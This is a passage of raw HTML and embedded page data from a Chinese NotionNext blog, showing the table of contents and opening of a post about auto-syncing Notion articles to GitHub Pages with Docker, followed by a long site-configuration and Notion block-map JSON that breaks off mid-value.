style="display:inline-block;margin-left:24px">自定义美化</span></a><a href="#0174ca16501d463e97f802d1068ae63f" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">自动化脚本编写</span></a><a href="#f7c6f34a162949e596093ea558b11f24" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">目录结构</span></a><a href="#4b330d9629434e6fb263d060afecba84" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">deploy脚本</span></a><a href="#1614c8d3bb334af586096cee2e2cda39" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">DokcerFile文件</span></a><a href="#063f19424cba435780a409313a3f0d07" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">准备容器内GitPage推送权限</span></a><a href="#9690bac276a64f239725701322a573e5" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">搭建步骤</span></a><a href="#b41d838b6fbe4d719722dadacb382dcf" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">验证</span></a><a href="#b3324876371f4045b0729dbf1508458d" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">特别提醒</span></a><a href="#9144d30dd0cd43c6867b4a5554268b55" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">写到最后</span></a></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-2ca713d3da294c79a8f0160fd89a3131" data-id="2ca713d3da294c79a8f0160fd89a3131"><span><div id="2ca713d3da294c79a8f0160fd89a3131" class="notion-header-anchor"></div><a class="notion-hash-link" href="#2ca713d3da294c79a8f0160fd89a3131" title="契机"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">契机</span></span></h2><blockquote class="notion-quote notion-block-42068f89093f4eaca6a822bb1b77cfbe"><div>Notion GitPage docker 自动化整合</div></blockquote><div class="notion-callout notion-gray_background_co notion-block-4739ebdd704b4019a6d7bad1179eec4b"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="💡">💡</span></div><div class="notion-callout-text">之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。
 
 Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了
 
@@ -14,4 +14,4 @@
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":"","blockMap":{"block":{"ce6b6618-a118-4ee9-b74c-33a848d0f0ed":{"value":{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","version":793,"type":"page","content":["fc9327dd-154c-4aaf-a6c2-dddeff9bfd00","0f5498bf-87f8-4a8e-a129-08f21f3dd7ad","2ca713d3-da29-4c79-a8f0-160fd89a3131","42068f89-093f-4eac-a6a8-22bb1b77cfbe","4739ebdd-704b-4019-a6d7-bad1179eec4b","6f60deab-d63b-4de5-915f-341292360b4f","bf8e4149-2f5d-4635-9ced-58c144d4eb4e","04317d6a-b950-4a37-9367-8aba1c1d7cfc","f952f956-265d-4035-ab19-a864c14fe426","841e111e-a8b9-4ca5-876f-a9b5c7599d03","e4b36691-3791-48d7-a70f-660033231f7d","c85383f1-52f2-4a78-8c63-4c3e26989def","9dd5d166-27ab-4f04-a7c3-65410bae57b6","7c70ce1a-054e-49ad-8af1-119e64032d58","ad4e6819-2bbc-40df-80f1-d1ee9ebecb15","e33e5c7a-5bed-4eff-bd86-4bdb596d03b2","4d0e9197-534f-4b33-9e93-95276591ddf9","31ab52d0-3782-4e62-83ba-7e47d3d5366e","e3fcc0e1-db85-484c-b799-973358da5c15","2992810d-657a-4ba9-9132-1351b3060bd5","3a1f742a-0d19-4590-8e61-2f948b5e7111","f7a5fdcf-9092-44ab-9842-57be93aed9ea","c1cc4548-3e10-4d0b-bbc4-e203ad30dd03","f6edcd65-59b1-412b-90db-48a98653fa08","10e2b13c-bc4e-4e9e-bd87-54e52f3790ef","b5e101f9-29ce-4cbe-9051-a455fbfa12ea","5040c940-a117-4c50-9ed5-bd7dfc5c7a7c","12eb9707-d557-4a4c-9ee9-8423754c863c","e0c24ed4-6466-40fb-9355-e77528efa546","7c9fba5b-528b-4d18-b9f9-4d5d644bc7f4","f68a55bb-51a5-407c-86fe-101b87a984a8","fa8a068e-1ee7-43ac-9c27-50fb204ab1de","c52418f1-f238-4e4f-92ae-676ea107de4f","7f2e7b2f-b461-4a91-808e-0fb77f22dc8a","a0844b1e-1198-4102-b122-6b3ea7184b02","9aee9707-8be2-4297-b520-4bf625987555","0b64a55d-bf95-4fa9-9e44-435a74b6794e","e887f9e4-fd50-4a98-8df4-a188b79eca45","3e8c7258-01bc-4109-8021-5d0dd9079b22","56c7c669-d908-485a-b287-e3fb823d0efa","5a7bd692-d0cb-44f6-a331-c41efd97ba46","b1dc3a62-10f2-4a17-a6b8-3cd3235f668c","6d6b97c1-1d36-4848-85cb-2759b1070f95","4d2adebf-0523-4a9b-a0c1-cef677a2cdae","6375e8ed-e4d3-43d4-9758-396b026bc926","a872631e-d867-4905-8408-7ed0a3c02cc2","0174ca16-501d-463e-97f8-02d1068ae63f","f952144c-08c3-4adf-8362-682836167eab","619521b6-6468-479f-aba9-26d165b1d416","f7c6f34a-1629-49e5-9609-3ea558b11f24","1b3e5361-0df6-49c2-a40c-32f123fd9cfb","4b330d96-2943-4e6f-b263-d060afecba84","75edd45c-01b6-42ad-a356-af57465bba9b","1614c8d3-bb33-4af5-8609-6cee2e2cda39","9370f961-ddc1-4a0c-910d-b79bc2250eac","063f1942-4cba-4357-80a4-09313a3f0d07","daedf0cf-3d86-4bb7-ad20-e11040afcae2","1972b0e8-433f-4097-97ab-64cc8d19a50e","b8d7b2b2-fde3-4010-93a0-7af0f879685e","78c44322-791d-4126-bc4f-2ea1e4fac3e3","a53ee171-d741-4e49-8daf-df5e62f18d8d","0ab6df8c-8599-4cea-92cd-7f5059097ff8","9690bac2-76a6-4f23-9725-701322a573e5","e36d24e3-7992-4eb6-939a-fd11e1b53f06","b41d838b-6fbe-4d71-9722-dadacb382dcf","130d2fea-5722-4d03-b8ad-e87108f5a4c8","b7da95f3-dcd5-4fe4-8a6a-6a85a0dbf6fd","b3324876-371f-4045-b072-9dbf1508458d","761d38bd-740e-4f58-a2fe-b740adfb3bd5","c5050e56-238a-43c9-a868-0b977934d7c9","1eeb0e91-e622-4207-a487-f593e61cbafc","b15058de-7c95-4b23-8f5c-4ec0f6f3f46a","728023af-c072-43d3-b5eb-b90e0f683d0e","9144d30d-d0cd-43c6-867b-4a5554268b55","b76e0a4c-8033-43c6-aef8-d5b147dcad2a","66217c67-4273-4621-a92c-816bc797538f"],"format":{"page_font":"serif","page_icon":"📗","page_cover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1705639082663,"last_edited_time":1710868440935,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"d3216be6-1b27-40e7-8677-7404896b7eb6","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"fc9327dd-154c-4aaf-a6c2-dddeff9bfd00":{"value":{"id":"fc9327dd-154c-4aaf-a6c2-dddeff9bfd00","type":"text","format":{"copied_from_pointer":{"id":"6c2aad49-6a12-4775-914f-7ed36358eb32","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082650,"last_edited_time":1705643463819,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"6c2aad49-6a12-4775-914f-7ed36358eb32"}},"0f5498bf-87f8-4a8e-a129-08f21f3dd7ad":{"value":{"id":"0f5498bf-87f8-4a8e-a129-08f21f3dd7ad","type":"table_of_contents","format":{"block_color":"gray"},"created_time":1705643428854,"last_edited_time":1705643560371,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"2ca713d3-da29-4c79-a8f0-160fd89a3131":{"value":{"id":"2ca713d3-da29-4c79-a8f0-160fd89a3131","type":"header","properties":{"title":[["契机"]]},"created_time":1705643440615,"last_edited_time":1705643441621,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"42068f89-093f-4eac-a6a8-22bb1b77cfbe":{"value":{"id":"42068f89-093f-4eac-a6a8-22bb1b77cfbe","type":"quote","properties":{"title":[["Notion GitPage docker 